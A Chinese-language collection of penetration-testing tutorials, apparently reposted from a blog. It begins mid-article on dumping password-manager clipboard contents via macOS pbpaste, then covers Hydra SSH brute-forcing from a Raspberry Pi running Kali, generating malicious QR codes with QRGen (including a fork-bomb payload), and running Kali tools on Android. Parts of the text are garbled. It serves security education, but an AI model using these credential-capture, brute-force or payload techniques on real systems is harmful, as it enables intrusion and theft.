[200]: /

[Sun Jun 9 09:04:02 2019] 199.195.250.77:40646
[200]: /

[Sun Jun 9 09:04:10 2019] 209.141.58.114:45602
[200]: /
```

用 **cat** 查看 clipboard.txt 内容，找到加密的密码。KeePassX 和 1Password 分别在10秒和30秒后自动清除剪贴板。LastPass 则表示“在默认时间后”会清除剪贴板。来自 MacBook 的空交付出现“Cg＝＝”编码。

```
~/phpServer# cat clipboard.txt

WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg==

Cg==
```

dGhpcyBpcyBteSBwYXNzd29yZAo=

UHdVN1YzWzg3a3ZUPyNed01QKF9jVHltNj8iPjoifTp7Kl5gYH4K

WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg==

Cg==

WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg==

下面的命令将自动解码 clipboard.txt 文件中所有的base64字符串。以下所有字符串都是使用 KeePassX、1Password 和 LastPass 时被捕获的密码。

~/phpServer# cat clipboard.txt | while read -r password; do base64 -d 「「「 "$password"; done

YT4n3M4sCpjpsTV7LkZoK

this is my password

PwU7V3[87kvT?#^wMP(_cTym6?"」:"}:{*^~ YT4n3M4sCpjpsTV7LkZoK YT4n3M4sCpjpsTV7LkZoK !!!''最后'' 「图」 我们鼓励渗透测试人员尽可能多地利用被入侵的操作系统中已经存在的资源（即 “靠山吃山”）。像 cURL、Netcat、Bash 和 LibreSSL 一样，pbpaste 是[[另一个|https://ss64.com/osx/]]内置工具，很容易被黑客滥用。 攻击者会探索各种途径来发现目标的登录密码。Pbpaste 让转储在密码管理器中的凭证几乎变得非常容易。 !!!''📌 如何保护自己免受剪贴板攻击的侵害'' 「图」 为了防止攻击者有机会转储剪贴板，请安装官方的 1Password 浏览器扩展或 LastPass 浏览器扩展。它们适用于所有现代网络浏览器。对于 KeePassX 用户，也存在类似的浏览器扩展，但没有经过官方审核或测试。 对于 1Password 来说，一旦安装了扩展，在提示时启用 “[[1Password 扩展助手|https://img.wonderhowto.com/img/original/78/15/63695881334967/0/636958813349677815.jpg]] 然后，该助手会让 1Password 在登录网站时自动填写凭证。自动填写完全不使用剪贴板，因此可以防止剪贴板攻击。LastPass 扩展的过程与此类似。 请记住，这两种方法都不是100%有效的。有时，当网站上的自动填充无法工作时，还是需要将密码复制到剪贴板。 如果一定要复制密码，可以调整密码管理器的剪贴板设置。 例

如，你可以打开 1Password 的首选项，选择 “安全”，然后通过 “清除剪贴板内容” 输入一个以秒为单位的时间。让它尽可能的短。在上面的演示中，我们使用的是五秒的间隔，所以三四秒可能就会很有用，但这并不意味着黑客无法抢到密码，如果时间恰当的话。 总的来说，在 macOS 上没有内置的方法来清除剪贴板，也不建议这样做，因为剪贴板的用途不仅仅是密码。 你可以为 “清除剪贴板” 建立一个服务，并为它指定一个键盘快捷键，比如 Command + Down Arrow。然后，你可以在粘贴密码后手动清除剪贴板，这样它就不会在那里停留超过必要的时间。 只要[[用 Automator 构建服务|https://mac-how-to.gadgethacks.com/how-to/take-window-screenshots-without-drop-shadows-your-mac-0160202/#jump-method4makeyourownwindowcaptureshortcut]]，但使用下面的运行shell脚本。不过，你会遇到和上面说的一样的问题，就是剪贴板在正确的时刻或检查前间隔较小的情况下被泄露。 pbcopy 「/dev/null ○ [[How to Dump 1Password, KeePassX & LastPass Passwords in Plaintext|https://null-byte.wonderhowto.com/how-to/hacking-macos-dump-1password-keepassx-lastpass-passwords-plaintext-0198550/]] 原文

如何使用树莓派和 Kali Linux 构建一个黑客工作站 - iyouport

hacktivist黑客主义

【2020年11月18日存档】抢在攻击者之前找到您的设备的弱点，并及时修补

本文将使用树莓派和 Kali Linux 构建功能强大的便携式黑客工作站，您可以使用该工作站来模拟针对智能设备的网络攻击。

通过像黑客一样访问智能家居，您可以识别安全漏洞，在任何人有机会利用它们之前关闭这些漏洞。

负责任地使用您的权力

「图」

在本教程结束时，您将创建一个网络测试机器，可以使用它来入侵任何智能设备或网络。但是，您应该只使用您的树莓派黑客工作站来访问您自己的网络或至少您有权限访问的网络 —— 例如，如果朋友或同事要求您对他们的网络进行安全测试。

试图获得对受保护网络或智能设备的未经授权的访问在道德上总是有问题的，并且通常是非法的。

上图中这本书在这里下载：https://www.patreon.com/posts/dong-shou-jiao-40001212

您需要什么

「图」

要完成本教程，您需要：

- 一个树莓派

- 与您的树莓派型号兼容的SD卡，例如 Micro SD卡
- 一个键盘以及将此键盘连接到树莓派的方法
- 一个显示器，以及将此显示器连接到树莓派的方法
- HDMI线缆
- 访问将用于下载 Kali Linux 的便携式计算机或台式计算机

有了这些工具后，就可以开始构建黑客工作站了。

在树莓派上安装 Kali Linux

「图」

Kali Linux 是一个专门为渗透测试设计的Linux发行版，即通过模拟网络攻击来评估网络、设备或系统的安全性。

首先需要将 Kali Linux 系统镜像装到树莓派上。在你的笔记本电脑或台式机上下载以下软件。

1、前往 Offensive Security 网站，根据您的树莓派型号下载正确的 Kali Linux 镜像。您需要一种方法将 Kali Linux 写入SD卡。这里使用的是最新版本的 Etcher，因为它是免费、开源和跨平台的。

2、将SD卡插入笔记本电脑或台式机。

3、启动 Etcher 应用程序。

4、在 Etcher 中，单击 “选择镜像”，然后选择您刚刚下载的 Kali Linux 镜像。

5、单击 “选择目标”，然后选择您的SD卡。现在，Etcher 会将 Linux 系统镜像刷入SD卡，这可能需要一段时间。

6、一旦 Etcher 完成，请取出SD卡并将其插入您的树莓派。

7、使用 HDMI 线缆将显示器连接到树莓派。

8、将键盘连接到树莓派设备。

9、将树莓派插入电源。 现在它应该自动启动。

10、出现提示时，使用默认用户名 “root” 和默认密码 “toor” 登录。

11、成功登录 Kali Linux 后，请点击工具栏中的 Wi-Fi 符号并连接到您的网络。

现在，您已经拥有运行 Kali Linux 的树莓派，并且准备好开始测试您的智能设备和家庭自动化网络了。

安全测试任何智能设备或网络

「图」

您可以使用 Kali Linux 执行许多不同的安全性测试，但举例来说，本演示将执行以下操作：

- 扫描网络上的设备以查看哪些端口是开放的并且处于活动状态，因此可以接收连接。
- 尝试使用在网上公开的密码访问该设备。

使用 nmap 扫描开放端口

「图」

首先，我将使用 nmap 扫描我的智能设备之一：

1、选择 Kali 标志

2、导航到 “Vulnerability Analysis -」 nmap”

3、在出现的窗口中，输入：

```
''nmap'' --top-ports 20 ''(''IP address of your
IoT device'')''
```

在本示例中，正在扫描的是用于监视前门的无线摄像机，因此命令是：

```
''nmap'' --top-ports 20 192.168.1.31
```

nmap 工具现在将扫描此摄像机以查找最重要的20个服务，并显示所有已识别端口的明细。

在上面的屏幕截图中可以看到，有三个 open 连接。

本教程将专注于22端口SSH。如果设法获得了这个设备的用户名和密码，那就可以使用SSH远程连接到摄像机并执行命令。

那么黑客可能会如何尝试访问这个设备呢？

下载公开可用的密码

「图」

在此步骤中，我们将尝试使用词表来识别摄像机的登录详细信息，词表是可在线获取的密码列表。

这里将使用 Kali Linux 提供的词表：

1、在 Kali Linux 工具栏中，单击“终端”图标。

2、在终端中，键入以下命令：

```
''sudoapt'' update
```

按 Enter 键。此命令将提供所有 Kali 软件包的列表，可能需要几分钟才能完成。

3、上一个命令运行完毕后，您可以使用以下命令安装密码列表：

```
''sudoaptinstall'' wordlists
```

这个公开密码列表现在将下载到您的树莓派。

用 Hydra 破解密码

「图」

现在，我们可以运行 Hydra，这是一个试图通过快速连续地使用许多不同的密码来攻击设备或网络的方法来识别凭据的应用程序：

1、在工具栏中，选择 “Kali Linux” 图标

2、导航至 “Password attacks -」 Online attacks -」 Hydra.”

3、在出现的窗口中，输入以下命令：

```
hydra -l root -P
''/''usr''/''share''/''wordlists''/''metasploit''/''unix
-t 6 ssh:''//''192.168.1.31
```

4、Hydra 现在将尝试使用词表提供的所有密码来访问该摄像机。

几分钟后，Hydra 应该显示其结果。

如您在上面的屏幕截图中所见，这个摄像机有一个 root 密码被公开了。

通过模拟网络攻击，现在已经发现了我的家庭自动化系统中的一个巨大的安全漏洞，第三方可以利用这个漏洞来访问我的摄像头。

如果您在自己的网络中发现了类似的漏洞，至关重要的是，您要立刻修改为更安全的密码，并修改其他所有您也使用同样密码的设备、应用或账户。

最后

「图」

本教程中您可以看到恶意的第三方如何对您的家庭网络发起攻击。通过模拟网络攻击，您可以在攻击者之前发现潜在的安全漏洞。

这只是一个开始 —— 现在您的 Kali Linux 黑客站已经启动并运行，您将可以使用很多额外的工具和功能来测试您的智能设备和家庭自动化网络。〇

How to Build a Hacking Station with Raspberry Pi and Kali Linux

原文

如何创建恶意QR码入侵手机和其他扫描仪 - iyouport

hacktivist黑客主义

【2020年8月19日存档】QR码不安全，希望这篇文章能帮助您提高安全意识。

如今QR码已经无处不在，这使得扫描它们的扫描仪成为了黑客的主要攻击目标。

由于许多此类专有扫描设备中存在缺陷，因此可以制作自定义的二维码来利用这些常见漏洞。

名为 QRGen 的工具可以创建恶意二维码，甚至可以编码定制的有效载荷。

这些攻击之所以有效，是因为除非先进行扫描，否则人类将无法直接读取或理解QR码中包含的信息，从而可能将试图解密该代码的任何设备暴露于其中包含的漏洞。

甚至智能手机等QR码扫描仪也容易受到此类攻击，因为QR码能够诱使 iPhone 用户访问恶意站点。

以下是中国的电视台近期发布过的一个视频。该视频似乎可以说明，这种攻击方式也许已经在中国流行：

什么是QR码？

「图」

QR码是机器可读的数据格式，可用于需要自动扫描的任何内容。

在QR码之前，还有其他几种称为线性条形码的格式，它们也以易于读取的方式存储数据。

您可能已经在产品上看到过UPC条形码，如下图所示，该条形码通常用于识别待售商品，以便收银员可以对其进行扫描以加快结帐速度。

自1974年以来，一直在使用UPC条形码或通用产品代码。其目的主要是在零售中，并且仅对一系列数字进行编码，从而限制了其应用范围。

尽管存在许多不同类型的线性条形码，但它们无法存储大量信息。诸如运输和汽车制造业之类的应用领域需要一个能够容纳更多数据的标准。

二维条形码以获取更多数据

「图」

解决线性条形码的局限性的答案就是二维条形码，它具有更大的存储能力，可以防止物理损坏影响其中的信息。

第一代二维码如下面这样，如今仍在广泛使用。

Aztec代码是2D的机器可读代码，在很多方面与QR代码相似，并且可以保存比线性条形码更多的信息。

最初是为物流而开发的，当需要存储的数据量超出线性条形码所能提供的数量时，您可能就会看到把它用于包装和信封的情况。

其他类型的2D码可能包含大量数据。例如，在美国大多数驾驶执照背面都可以找到PDF417格式的二维码，最多可以编入1800个ASCII字符。

像上面的 PDF417 码可以编码文本、数字、文件和实际数据字节，并且它们比线性条形码更能抵抗错误。像 FedEx 这样的公司在装箱单上使用 PDF417 和其他条码的组合来实现自动交付和跟踪。

它可以处理更多数据吗

「图」

QR码起源于汽车工业，是一种跟踪汽车制造过程的方法，但很快在该行业之外迅速流行。

与其他二维码类似，QR码可以打包大量数据，甚至在分辨率降低或以其他方式损坏时也可以使用。

一个QR码可以包含4296个ASCII字符，这使得您可以对它们进行更多的创作。您甚至可以格式化数据以便在阅读器设备识别它时触发操作。

QR码具有更大的数据容量，这是一种引人入胜的有趣应用，可以使用它们来管理Wi-Fi连接，而无需以纯文本形式共享密码。

通过编码以下字符串您可以创建一个QR码，以将Android用户自动登录到一个Wi-Fi网络。

WIFI:S:「SSID」;T:「WPA|WEP|」;P:「password」;H:「true|false|」;

任何在 Android 设备上扫描该QR码的人都会发现自己已自动登录到已编码的Wi-Fi网络。要了解QR码可以打包多少数据，请查看下面这个：

上图中包含以下文本：

Version 40 QR Code can contain up to 1852 chars. A QR code (abbreviated from Quick Response code) is a type of matrix barcode (or two-dimensional code) that is designed to be read by smartphones. The code consists of black modules arranged in a square pattern on a white background. The information encoded may be text, a URL, or other data. Created by Toyota subsidiary Denso Wave in 1994, the QR code is one of the most popular types of two-dimensional barcodes. The QR code was designed to allow its contents to be decoded at high speed. The technology has seen frequent use in Japan and South Korea; the United Kingdom is the seventh-largest national consumer of QR codes. Although initially used for tracking parts in vehicle manufacturing, QR codes now are used in a much broader context, including both commercial tracking applications and convenience-oriented applications aimed at mobile phone users (termed

mobile tagging). QR codes may be used to display text to the user, to add a vCard contact to the user's device, to open a Uniform Resource Identifier (URI), or to compose an e-mail or text message. Users can generate and print their own QR codes for others to scan and use by visiting one of several paid and free QR code generating sites or apps.

图片中包含的文字大于QR码本身。这种能力使QR码既强大又危险，因为如果不先扫描它们你就无法理解其中的数据。

使用QRgen进行QR码黑客

「图」

由于人们无法在实际扫描前发现恶意QR码，因此QR码相对较大的有效载荷可以为黑客带来很多好处，尤其是与易受攻击的设备结合使用时。

今天将用来创建它们的工具称为 QRGen。它将把一个有效载荷使用Python编入QR码。

QRGen 带有一个内置的库，其中包含许多流行的漏洞利用程序，如果您有时间坐下来寻找对于您的目标设备来说哪个可行的话，这将非常有用。

在运行脚本时，可以使用 **-l** 加数字来访问QRGen上可用的有效载荷类别。

数字和有效载荷类型如下：

0 : SQL Injections

1 : XSS

2 : Command Injection

3 : Format String

4 : XXE

5 : String Fuzzing

6 : SSI Injection

7 : LFI / Directory Traversal

要创建一堆包含字符串模糊有效载荷的恶意QR代码，只需运行 **QRGen.py -l 5** 即可创建许多测试码。

你需要什么

「图」

要使用QRGen，您需要安装Python3。因为它是跨平台的，所以应该可以在任何操作系统上进行。

您还需要一些Python库，包括 qrcode、Pillow 和 argparse，我们将在安装过程中安装它们。

步骤1：安装QRGen

「图」

要开始使用QRGen，需要从GitHub下载存储库：。通过在终端窗口中运行以下命令来执行此操作。

```
~$ git clone https://github.com/h0nus/QRGen
Cloning into 'QRGen'... remote: Enumerating
objects: 86, done. remote: Counting objects: 100%
(86/86), done. remote: Compressing objects: 100%
(78/78), done. remote: Total 86 (delta 26), reused
4 (delta 1), pack-reused 0 Unpacking objects: 100%
(86/86), done.
```

存储库下载完毕后，将切换（cd）到其目录并列出（ls）其内容以查找需求文件。

```
~$ cd QRGen ~/QRGen$ ls demo.gif qrgen.py
README.md requirements.txt words
```

现在，您需要确保已经安装了所有必需的库。为此，使用以下命令运

行安装文件。

```
~/QRGen$ pip3 install -r requirements.txt
Collecting qrcode (from -r requirements.txt (line
1)) Downloading https://files.pythonhosted.org/
packages/42/87/4a3a77e59ab7493d64da1f69bf1c2e899a4cf81e5
qrcode-6.1-py2.py3-none-any.whl Requirement
already satisfied: Pillow in /usr/lib/python3/
dist-packages (from -r requirements.txt (line 2))
(5.4.1) Collecting argparse (from -r
requirements.txt (line 3)) Downloading https://
files.pythonhosted.org/packages/
f2/94/3af39d34be01a24a6e65433d19e107099374224905f1e0cc6b
argparse-1.4.0-py2.py3-none-any.whl Requirement
already satisfied: six in /usr/lib/python3/dist-
packages (from qrcode-」-r requirements.txt (line
1)) (1.12.0) Installing collected packages:
qrcode, argparse Successfully installed
argparse-1.4.0 qrcode-6.1
```

如果不起作用，您也可以使用此替代命令进行安装。

```
~/QRGen$ python3 -m pip install -r
requirements.txt
```

步骤2：根据有效载荷类型生成恶意QR码

「图」

现在，您应该可以通过键入 **python3 qrgen.py** 来运行脚本。

```
~/QRGen$ python3 qrgen.py e88 88e 888 88e e88'Y88
d888 888b 888 888D d888 'Y ,e e, 888 8e C8888
8888D 888 88" C8888 eeee d88 88b 888 88b Y888 888P
888 b, Y888 888P 888 , 888 888 "88 88" 888 88b,
"88 88" "YeeP" 888 888 b 8b, QRGen ~ v0.1 ~ by
h0nus usage: qrgen.py -l [number] usage: qrgen.py
-w [/path/to/custom/wordlist] Payload lists: 0 :
SQL Injections 1 : XSS 2 : Command Injection 3 :
Format String 4 : XXE 5 : String Fuzzing 6 : SSI
Injection 7 : LFI / Directory Traversal Tool to
```

```
generate Malformed QRCodes for fuzzing QRCode
parsers/reader optional arguments: -h, --help show
this help message and exit Options for QRGen: --
list {0,1,2,3,4,5,6,7}, -l {0,1,2,3,4,5,6,7} Set
wordlist to use --wordlist WORDLIST, -w WORDLIST
Use a custom wordlist Pay attention everywhere,
even in the dumbest spot
```

如您所见，创建有效载荷非常简单。首先创建一个包含格式化字符串的有效载荷。所以如下这样运行QRGen。

```
~/QRGen$ python3 qrgen.py -l 5 e88 88e 888 88e
e88'Y88 d888 888b 888 888D d888 'Y ,e e, 888 8e
C8888 8888D 888 88" C8888 eeee d88 88b 888 88b
Y888 888P 888 b, Y888 888P 888 , 888 888 "88 88"
888 88b, "88 88" "YeeP" 888 888 b 8b, QRGen ~ v0.1
~ by h0nus Payload path generated.. Path already
cleared or deleted.. Generated 46 payloads!
Opening last generated payload... Thanks for using
QRGen, made by H0nus..
```

要查看其余的有效载荷，您可以键入 **cd genqr** 更改为创建它们的目录及 **ls** 其内容。

```
~/QRGen$ cd genqr ~/QRGen/genqr$ ls payload-0.png
payload-19.png payload-28.png payload-37.png
payload-4.png payload-10.png payload-1.png
payload-29.png payload-38.png payload-5.png
payload-11.png payload-20.png payload-2.png
payload-39.png payload-6.png payload-12.png
payload-21.png payload-30.png payload-3.png
payload-7.png payload-13.png payload-22.png
payload-31.png payload-40.png payload-8.png
payload-14.png payload-23.png payload-32.png
payload-41.png payload-9.png payload-15.png
payload-24.png payload-33.png payload-42.png
payload-16.png payload-25.png payload-34.png
payload-43.png payload-17.png payload-26.png
payload-35.png payload-44.png payload-18.png
payload-27.png payload-36.png payload-45.png
```

步骤3：对自定义有效载荷进行编码

「图」

要编码一个自定义有效载荷，首先可以创建一个文本文件，其中包含我们要编码的内容。

首先，可以通过键入 **nano badstuff.txt** 创建一个文本文件：

```
~/QRGen/genqr$ nano badstuff.txt
```

在该文本文件中可以放置有效载荷。下面的一个是 forkbomb。可以在QR码扫描仪上起效吗？谁知道呢 ……

```
:(){ :|: &amp; };:
```

可以通过按Control X进行保存，然后按**Y**并按Enter确认保存。现在，您应该看到一个包含有效载荷的文本文件。

```
~/QRGen/genqr$ ls badstuff.txt payload-18.png
payload-27.png payload-36.png payload-45.png
payload-0.png payload-19.png payload-28.png
payload-37.png payload-4.png payload-10.png
payload-1.png payload-29.png payload-38.png
payload-5.png payload-11.png payload-20.png
payload-2.png payload-39.png payload-6.png
payload-12.png payload-21.png payload-30.png
payload-3.png payload-7.png payload-13.png
payload-22.png payload-31.png payload-40.png
payload-8.png payload-14.png payload-23.png
payload-32.png payload-41.png payload-9.png
payload-15.png payload-24.png payload-33.png
payload-42.png payload-16.png payload-25.png
payload-34.png payload-43.png payload-17.png
payload-26.png payload-35.png payload-44.png
```

要将您的有效载荷写入QR码使用 **-w** 。假设您的有效载荷文件名为“badstuff.txt”，那么命令应该如下面这样（记住请先更改回QRGen目录）。

```
~/QRGen/genqr$ cd .. ~/QRGen$ python3 qrgen.py -w
```

```
'/username/QRGen/genqr/badstuff.txt' e88 88e 888
88e e88'Y88 d888 888b 888 888D d888 'Y ,e e, 888
8e C8888 8888D 888 88" C8888 eeee d88 88b 888 88b
Y888 888P 888 b, Y888 888P 888 , 888 888 "88 88"
888 88b, "88 88" "YeeP" 888 888 b 8b, QRGen ~ v0.1
~ by h0nus Payload path exist, continuing... Path
already cleared or deleted.. Generated 1 payloads!
Opening last generated payload... Thanks for using
QRGen, made by H0nus..
```

对于上面的 forkbomb 有效载荷，它会生成下面这样的QR码，然后将其弹出。

并非所有扫码都是明智的

「图」

QR码可以编入很多信息，正如本文所演示的那样，甚至可以对其进行格式化以使设备执行诸如连接到Wi-Fi网络之类的操作。

这使得扫描QR码具有风险，因为在将设备暴露于内部任何有效载荷之前人们无法读取信息。

如果您扫描似乎可疑的QR代码，请注意该码试图启动的内容，并且不要连接到Wi-Fi网络或导航到被缩短的链接。

希望本文能提高您的安全意识。〇

原文

如何将安卓手机变成黑客设备 - 无需 Root - iYouPort

hacktivist黑客主义

没有树莓派？不要急，你的安卓就可以

「图」

「图」

只需轻按几下，即可将 Android 手机武器化为隐蔽的黑客设备，该设备可以运行 Nmap、Nikto 和 Netcat 之类的工具 —— 做到所有这些而无需Root。

由 UserLAnd Technologies 创建的 UserLAnd 是一个完全免费的 Android 应用程序，它使安装 Linux 发行版变得快捷而轻松，无需 Root。

这样就可以在当前的 Android OS 旁边运行 ARM64 Debian 操作系统。

这种 ARM 架构有时也称为 “AARCH64”，与 Kali Linux Raspberry Pi ARM 映像所使用的架构相同，这使得导入 Kali 的工具库很容易。

最重要的是，UserLAnd 团队添加了一个专用的 Kali 文件系统，因此，并非所有用户都需要导入存储库。

所有创建的文件系统都很容易使用。尽管许多 Kali 工具可以正常工作，但 UserLAnd 仍然是一个新项目，在执行某些命令时可能会导致某些工具（例如 Nmap）损坏或失败。值得一提的是，这些问题可能会在不久的将来得到解决。

UserLAnd 利用自定义脚本和可执行文件允许创建 Debian 和 Ubuntu 文件系统。其中一个例子是 PRoot，这是一种开源软件，可实现类似于 chroot 的功能。

PRoot 允许您使用备用根目录执行程序，而无需 Root。通常，用户空间应用程序将通过系统调用直接与内核通信。

借助 UserLAnd，PRoot 在后台运行，解释这些系统调用，并且在必要时执行和操作它们，以模拟文件系统中的用户和权限。

null-byte 的解释从安装SSH客户端开始，它将是与 Debian OS 进行交互的主要应用程序。然后逐步介绍一些操作系统设置技巧，并导入 Kali Linux 存储库，以将 Android 手机真正转变为黑客设备。

如某些读者所知，Kali Linux 基于 Debian 操作系统，因此导入其存储库不会导致任何破坏或不可靠的情况。

在下面看到他们的演示视频：

第一步：安装 ConnectBot APP（可选）

UserLAnd 最近添加了内置的SSH功能，因此不再需要此步骤。但是，如果您愿意，仍可以使用第三方SSH客户端。

ConnectBot 是专为 Android 智能手机设计的开源SSH客户端，可让您安全地与SSH服务器连接。

这将是与新的 UserLAnd Debian 操作系统进行交互的主要方式。如果您不使用或无法访问 Google Play，则可以通过 F-Droid 存储库使用 ConnectBot。

- **Play Store Link:** "ConnectBot" **(free)**
- **F-Droid Link:** "ConnectBot" **(free)**

「图」

「图」

JuiceSSH 也是替代 ConnectBot 的很好选择，因为它具有更多功能，因此您可以根据需要使用它。ConnectBot 定期更新，对于初学者来说更容易。

第二步：安装 UserLAnd App

上面已经介绍了 UserLAnd 的功能，因此这里不再赘述。重要的是您

要安装它，使用 Google Play 或 F-Droid 进行安装。

- **Play Store Link:** "UserLAnd" **(free)**
- **F-Droid Link:** "UserLAnd" **(free)**

「图」

「图」

免责声明：UserLAnd 确实有局限性。如果没有 root，Android 的 Wi-Fi 界面将无法切换为监控模式，因此传统的 Wi-Fi 黑客工具（如 Aircrack-ng）将无法使用。

但是，使用 UserLAnd 仍然可以完成很多工作，在不 Root 或擦除 Android OS 的情况下运行 Kali 绝非易事。

因此，您值得在 Google Play 上给 UserLAnd 应用程序一个良好的评分，开发者应该得到这样积极的反馈。

第三步：创建一个新的文件系统

安装完成后，打开 UserLAnd，然后查看 “Apps” 选项卡。刷新选项卡，然后等待几分钟以填充分发。

Kali Linux OS 最近已添加到可用发行版列表中。选择 “Kali” 或 “Debian”，UserLAnd 应用程序将提示输入凭据。

创建用户名、密码和VNC密码。文件系统安装完成后，该“密码”将允许您访问在文件系统准备安装时启动的SSH服务器。

本教程中将不会使用 “VNC密码”。

「图」

「图」

然后，UserLAnd 将从其 GitHub 存档下载用于创建文件系统的必要可执行文件和脚本。下载和提取所需东西的时间将取决于您的 Android CPU 和互联网连接的速度。

在某些测试中，安装过程最多需要20分钟才能完成，因此请耐心等待。

在我的第一次尝试中，UserLAnd 返回了 “Could not extract filesystem. Something went wrong” 这样的错误。在这种情况下删除并重新安装 UserLAnd 就可以解决问题。如果此错误仍然存在，请打开一个新的 GitHub 问题。

第四步：与文件系统交互

安装完成后，转到 “会话” 选项卡，然后选择新创建的选项。

UserLAnd 将自动尝试打开 ConnectBot 并询问“您确定要继续连接吗？”点击“是”，然后输入在上一步中创建的密码。

「图」

「图」

此时，将蓝牙键盘同步到手机可以使操作系统的设置更加容易，但这不是必需的。如果您不使用蓝牙键盘，建议您从Play商店安装 Hacker’s Keyboard，然后继续进行操作，您会了解原因的。

第五步：更新操作系统

在 Android 手机上安装新操作系统后，要做的第一件事就是确保该系统是最新版。

这可以通过首先使用 **su** 创建根shell来完成。然后使用 **apt-get update && apt-get dist-upgrade** 命令。

```
distortion@localhost:~$ su root@localhost: /home/
distortion# apt-get update &amp;&amp; apt-get
dist-upgrade Ign:1 http://cdn-
fastly.deb.debian.org/debian stable InRelease
Get:2 http://cdn-fastly.deb.debian.org/debian
stable-updates InRelease [91.0 kB] Hit:3 http://
cdn-fastly.deb.debian.org/debian stable Release
Get:4 http://cdn-fastly.deb.debian.org/debian
stable Release.gpg [2434 B] Get:5 http://cdn-
fastly.deb.debian.org/debian stable-updates/main
arm64 Packages [5096 B] Get:6 http://cdn-
fastly.deb.debian.org/debian stable-updates/main
Translation-en [4512 B] Get:7 http://cdn-
```

```
fastly.deb.debian.org/debian stable/main
Translation-en [5393 B] Get:8 http://cdn-
fastly.deb.debian.org/debian stable/contrib arm64
Packages [29.9 kB] Get:9 http://cdn-
fastly.deb.debian.org/debian stable/contrib
Translation-en [45.9 kB] Get:10 http://cdn-
fastly.deb.debian.org/debian stable/non-free arm64
Package [50.8 kB] Get:11 http://cdn-
fastly.deb.debian.org/debian stablenon-free
Translation-en [80.6 kB] Fetched 5714 kB in 31s
(183 kB/s) Reading package lists... Done Reading
package lists... Done Building dependency tree...
Done Calculating upgrade... Done The following
packages will be upgraded: tzdata 1 upgraded, 0
newly intalled, 0 to remove and 0 not upgraded.
Need to get 270 kB of archives. After this
operation, 1024 B of additional disk space will be
used. Do you want to continue? [Y/n]
```

对于上面的输出，只有一个包需要更新，但并非总是如此。

第六步：安装基本软件

这个新的文件系统极其简单，默认情况下不包含太多软件。

以下是为日常 Debian 和 Kali 用户推荐的一些软件包。其中某些软件包不是必需的，但可以使今后将Android用作主要黑客设备更加容易。

1、**screen**—Screen 是一个终端多路复用器，允许用户同时运行并在多个终端会话之间交替。

这是使用 UserLAnd 时要安装的最重要的软件包之一。 Android 手机无法很好地处理长时间SSH会话，并且可能会无缘无故地断开连接。这种问题可能导致正在运行的命令失败，无法重新连接到会话以查看进度。

所以要使用 Screen 来维持持久的Shell会话。

2、**net-tools**—Net-tools 是一套工具，包含 ifconfig、netstat、route 和其他一些有用的网络应用程序。

3、**netcat**—Netcat 是功能丰富的 UNIX 实用程序，旨在成为创建TCP和UDP连接的可靠工具。Netcat 可用于创建简单的macOS后门并与之交互。

4、**neofetch**—Neofetch 是一种跨平台的系统信息收集工具。除了帮您向同事和朋友炫耀分发内容或为 WonderHowTo 创建封面照片外，此程序包没有其他功能。

5、**gnupg**—GnuPG （有时称为 gpg）通常用于加密文件和保护电子邮件通信。一些安装程序脚本（例如 Metasploit）使用 gpg 来导入其软件签名密钥。

可以在没有 gpg 的情况下手动安装 Metasploit，可能过程相对复杂。

6、**curl**—cURL 是一种命令行工具，能够通过HTTP和其他流行协议下载文件。这是从Internet下载文件的有用工具。

7、**wget**—类似于 cURL，也是用于从Internet下载文件的命令行工具。一些开发人员更喜欢 wget 而不是 cURL，对于保持安装状态和可用性都很有帮助。

8、**git**—Git 是一种流行的版本控制软件，通常用于克隆（下载）GitHub 项目。

9、**nano**—Nano 是命令行文本编辑器，它可以使通过SSH编辑文件更加方便。如果首选 Vim 或 Emacs，则改为下载这些文本编辑器（或除nano外）。

可以使用 **apt-get** 命令安装以上软件包：

```
apt-get update &amp;&amp; apt-get install net-tools netcat neofetch gnupg curl wget git nano screen
```

第七步：导入 Kali Linux 存储库（视情况而定）

如果您在步骤3中安装了 Kali OS，则可以跳过此步骤。

对于 Debian OS 用户，这不是必须的，但是，这样做可以快速安装诸如 sqlmap、Commix、Bettercap、Nikto、dnsmap 之类的应用程序，以及数百种在 Debian 的默认存储库中找不到的软件包。

要开始导入 Kali Linux 存储库，请使用 **nano** 将 Kali 的存储库添加到 /etc/apt/sources.list 文件中。

```
nano /etc/apt/sources.list
```

将以下行添加到文件底部，然后使用 Ctrl + X 退出并保存更改。

ConnectBot 在屏幕上有按钮，如 Ctrl 和 Shift 等键。或者使用蓝牙键盘或黑客键盘应用也一样。

```
deb http://http.kali.org/kali kali-rolling main
contrib non-free
```

「图」

「图」

然后，使用以下 wget 命令添加 Kali 签名密钥：

```
wget -q -O - https://www.kali.org/archive-key.asc
| apt-key add -
```

如果命令成功，终端将返回 “OK”（如下所示）。最后，使用 **apt-get update** 命令更新 APT 缓存。

```
root@localhost:/home/distortion# wget -q -O -
https://www.kali.org/archive-key.asc | apt-key add
- OK root@localhost:/home/distortion# apt-get
update Ign:1 http://cdn-fastly.deb.debian.org/
debian stable InRelease Hit:3 http://cdn-
fastly.deb.debian.org/debian stable-updates
InRelease Hit:4 http://cdn-fastly.deb.debian.org/
debian stable Release Ign:2 http://
ftp.halifax.rwth-aachen.de/kali kali-rolling
InRelease Get:6 http://ftp.acc.umu.se/mirror/
kali.org/kali kali-rolling Release [29.6 kB] Get:7
http://ftp.acc.umu.se/mirror/kali.org/kali kali-
rolling Release.gpg [833 B] Get:8 http://
ftp.acc.umu.se/mirror/kali.org/kali kali-rolling/
main arm64 Packages [16.4 MB] 64% [8 Packages 9415
kB/16.4 MB 57%] 546 kB/s 13s
```

最后

使用 UserLAnd，将 Android 变成黑客设备会非常容易。

尽管 Android 处理数据的速度比树莓派要慢，但它仍然是一款功能强大、易于隐藏的进攻工具，能够运行 Kali 软件。

您可以根据需要探索更多用途。不要做坏事！○

原文

推荐一些最好的黑客网站 - iyouport

hacktivist黑客主义

【2021年5月12日存档】您是否想要练习道德黑客技能，却不知道在哪里做？本文创建了一个黑客网站列表，您可以在这上面合法地进行道德黑客训练。

1月份，我们推荐过了一个新的黑客训练平台，如下：

本文是相关内容的一个简要汇总。

对道德黑客和网络安全技能的需求非常高。如今几乎所有的东西都连接到了互联网，有越来越多的人想要提升自己的安全技能。

很多人可能已经读完了一大堆道德黑客教程，您的下一步就是实践了。在其他网站和产品上测试您的技能可能是不道德和非法的，但在本文列出的这些网站上您可以合法地练习。

